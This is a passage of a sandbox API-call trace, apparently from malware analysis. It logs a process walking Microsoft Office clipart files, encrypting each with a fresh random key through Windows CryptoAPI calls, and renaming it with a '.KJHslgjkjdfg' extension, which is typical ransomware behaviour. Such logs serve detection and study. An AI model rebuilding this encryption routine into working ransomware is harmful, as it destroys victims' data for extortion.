out: lpNewFilePointer=0x0) returned 1 [0185.163] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.163] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.163] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.163] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.163] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f38, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f38, lpOverlapped=0x0) returned 1 [0185.164] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f40) returned 1 [0185.164] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.164] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f40, lpOverlapped=0x0) returned 1 [0185.164] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.164] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.164] SetEndOfFile (hFile=0x114) returned 1 [0185.168] GetProcessHeap () returned 0x2a0000 [0185.168] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.168] GetProcessHeap () returned 0x2a0000 [0185.168] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf.kjhslgjkjdfg")) returned 1 [0185.170] CloseHandle (hObject=0x114) returned 1 [0185.170] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1248, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01149_.WMF", cAlternateFileName="")) returned 1 [0185.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.172] GetProcessHeap () returned 0x2a0000 [0185.172] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.172] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.172] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.172] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.175] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.175] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.175] GetProcessHeap () returned 0x2a0000 [0185.175] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.175] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.175] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.175] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.175] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.176] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.176] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.176] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.176] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.176] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.176] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1248, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1248, lpOverlapped=0x0) returned 1 [0185.177] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1250, dwBufLen=0x1250 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1250) returned 1 [0185.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.178] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1250, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1250, lpOverlapped=0x0) returned 1 [0185.178] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.178] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.178] SetEndOfFile (hFile=0x114) returned 1 [0185.181] GetProcessHeap () returned 0x2a0000 [0185.181] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.181] GetProcessHeap () returned 0x2a0000 [0185.181] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf.kjhslgjkjdfg")) returned 1 [0185.182] CloseHandle (hObject=0x114) returned 1 [0185.182] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7738900, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7738900, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x2230, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01152_.WMF", cAlternateFileName="")) returned 1 [0185.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.184] GetProcessHeap () returned 0x2a0000 [0185.184] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.184] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.184] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.184] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.184] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.184] GetProcessHeap () returned 0x2a0000 [0185.184] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.184] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.184] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.184] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.188] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.188] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.188] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.188] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.188] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.188] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.188] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.188] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.188] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2230, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2230, lpOverlapped=0x0) returned 1 [0185.190] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2230, dwBufLen=0x2230 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2230) returned 1 [0185.190] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.190] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2230, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2230, lpOverlapped=0x0) returned 1 [0185.190] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.190] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.190] SetEndOfFile (hFile=0x114) returned 1 [0185.199] GetProcessHeap () returned 0x2a0000 [0185.199] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.199] GetProcessHeap () returned 0x2a0000 [0185.199] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01152_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01152_.wmf.kjhslgjkjdfg")) returned 1 [0185.203] CloseHandle (hObject=0x114) returned 1 [0185.204] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6425c00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6425c00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01154_.WMF", cAlternateFileName="")) returned 1 [0185.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.205] GetProcessHeap () returned 0x2a0000 [0185.205] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.205] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.205] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.205] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.205] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.205] GetProcessHeap () returned 0x2a0000 [0185.205] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.205] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.205] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.205] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.208] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.208] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.208] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.208] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.208] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.208] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.208] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.208] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.209] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15b0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x15b0, lpOverlapped=0x0) returned 1 [0185.209] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15b0, dwBufLen=0x15b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15b0) returned 1 [0185.210] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.210] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x15b0, lpOverlapped=0x0) returned 1 [0185.210] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.210] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.210] SetEndOfFile (hFile=0x114) returned 1 [0185.213] GetProcessHeap () returned 0x2a0000 [0185.213] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.213] GetProcessHeap () returned 0x2a0000 [0185.213] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.213] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01154_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01154_.wmf.kjhslgjkjdfg")) returned 1 [0185.215] CloseHandle (hObject=0x114) returned 1 [0185.215] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1858, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01157_.WMF", cAlternateFileName="")) returned 1 [0185.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.216] GetProcessHeap () returned 0x2a0000 [0185.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.216] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.216] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.216] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.218] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.218] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.218] GetProcessHeap () returned 0x2a0000 [0185.218] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.218] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.218] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.218] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.219] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.219] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.219] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.219] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.219] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.219] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.219] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1858, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1858, lpOverlapped=0x0) returned 1 [0185.220] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1860, dwBufLen=0x1860 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1860) returned 1 [0185.220] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.221] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1860, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1860, lpOverlapped=0x0) returned 1 [0185.221] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.221] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.221] SetEndOfFile (hFile=0x114) returned 1 [0185.223] GetProcessHeap () returned 0x2a0000 [0185.224] HeapFree (in: hHeap=0x2a0000, 